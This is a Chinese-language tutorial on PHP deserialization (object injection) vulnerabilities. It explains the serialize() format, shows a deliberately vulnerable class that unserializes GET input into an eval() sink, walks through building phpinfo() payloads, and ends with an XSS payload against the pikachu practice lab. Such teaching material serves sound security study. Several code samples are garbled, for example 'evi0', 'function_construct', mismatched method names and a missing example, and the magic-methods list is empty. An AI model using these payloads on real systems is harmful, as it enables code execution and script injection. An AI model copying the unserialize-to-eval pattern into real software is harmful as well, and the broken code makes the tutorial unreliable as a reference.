1.反序列化概念
- 序列化:是将变量转换为可保存或传输的字符串的过程;实现函数是serialize()
- 反序列化:就是在适当的时候把这个字符串再转化成原来的变量使用,就是序列化的逆过程。实现函数是unserialize()
直白一点就是:序列化是把对象转换成字节流,反序列化就是为了恢复到之前的状态,把字节流转换成对象的过程。
序列化数据格式
数据类型 | 序列化格式 | 解释 |
整数 | i:42; | 表示整数值为42 |
浮点数 | d:3.14; | 表示浮点数值为3.14 |
字符串 | s:5:"hello"; | 表示字符串长度为5,内容为"hello" |
空字符串 | s:0:""; | 表示一个空字符串 |
数组 | a:3:{i:0;s:5:"apple";i:1;s:6:"banana";i:2;s:5:"cherry";} | 表示包含3个元素的数组 |
关联数组(对象) | O:8:"stdClass":2:{s:4:"name";s:5:"Alice";s:3:"age";i:30;} | 表示一个包含两个属性的对象 |
布尔值 | b:1; 或 b:0; | 表示真(true)或假(false) |
NULL | N; | 表示空值 |
这个表格更详细地列出了各种数据类型在PHP中的序列化格式和相应的解释。
举个详细的例子:
输出结果:
O:8:"examlple":5:{s:6:"string";s:4:"test";s:17:" examlple integer";s:1:"1";s:7:" * null";s:4:"null";s:6:"double";s:3:"1.2";s:4:"bool";s:4:"True";}
反序列化漏洞
反序列化漏洞:也叫对象注入,就是当程序在进行反序列化时,会自动调用一些函数,但是如果传入函数的参数可以被用户控制的话,用户可以输入一些恶意代码到函数中,从而导致反序列化漏洞。
可以理解为程序在执行unserialize()函数是,自动执行了某些魔术方法(magic method),而魔术方法的参数被用户所控制(通过控制属性来控制参数),这就会产生安全问题。
漏洞利用条件:
- unserialize()函数的参数可控。
- 存在可利用的魔术方法。
属性赋值
要利用反序列化漏洞,必须向unserialize()函数传入构造的序列化数据(定义合适的属性值)。那么,如
何构造序列化数据呢?
<?php
show_source( __FILE__);
error_reporting(0);
class DEMO{
public $func;
public $arg ;
public function safe(){
echo $this->arg;
}
public function evi0{
eval($this->arg);
}
public function run(){
$this->{$this->func}();
}
function_construct(){
$this->func ='evil';
}
}
$obj=unserialize($_GET['a']);
$obj->run();
?>
直接写序列化数据显示是不合适的,因为序列化数据不符合人类直观,很容易出错。实际上,都是利用serialize()函数来生成序列化数据的。
生成步骤:
- 把题目代码复制到本地;
- 注释掉与属性无关的内容(方法和没用的代码);
- 对属性赋值;
- 输出ur编码后的序列化数据:
- 将序列化数据发送到目标服务器。
进行URL编码的原因:
- 原始的序列化数据可能存在不可见字符;
- 如果不进行编码,最后输出的结果是片段的,不是全部的,会有类似截断导致结果异常,所以需要进行ur编码。
属性赋值的三种方法:
- 直接在属性中赋值:优点是方便,缺点是只能赋值字符串
<?phpClasS DEMO{
public $func='evi1';
public $arg='phpinfo();';
# public function safe(){
# echo $this->arg;
# }
# public function evil(){
# eval($this->arg);
#}
# public function run(){
# $this->{$this->func}();
# }
#function_construct(){
# $this->func ='evil]':
# }
}
# $obj=unserialize($_GET['a']);
# $obj->run();
echo(urlencode(serialize(new DEMO())));
?>
2.外部赋值:优点是可以赋值任意类型的值,缺点是只能操作public属性。
<?php
Class DEMO{
public $func;
public $arg ;
}
$o = neW DEMO();
$o->func ='evil';
$o->arg ='phpinfo();';
echo(urlencode(serialize($o)));
3.构造方法赋值(万能方法):优点是解决了上述的全部缺点,缺点是有点麻烦
<?phpClass DEMO{
public $func;
public $arg ;
function_construct(){
$this->func ='evil';
$this->arg='phpinfo();';
}
}
$o = new DEMO();
echo(urlencode(serialize($o)));
魔术方法
魔术方法是一种特殊的方法,在某些情况下会自动调用。魔术方法的命名是以两个下划线开头的,常见
的魔术方法有:
漏洞利用
此处以pikachu为例
输入一个正常的序列化数据O:1:"S":1:{s:4:"test";s:7:"pikachu";}
输入构造好的xss
O:1:"S":1:{s:4:"test";s:30:"<script>alert('11')</script>";}
成功弹框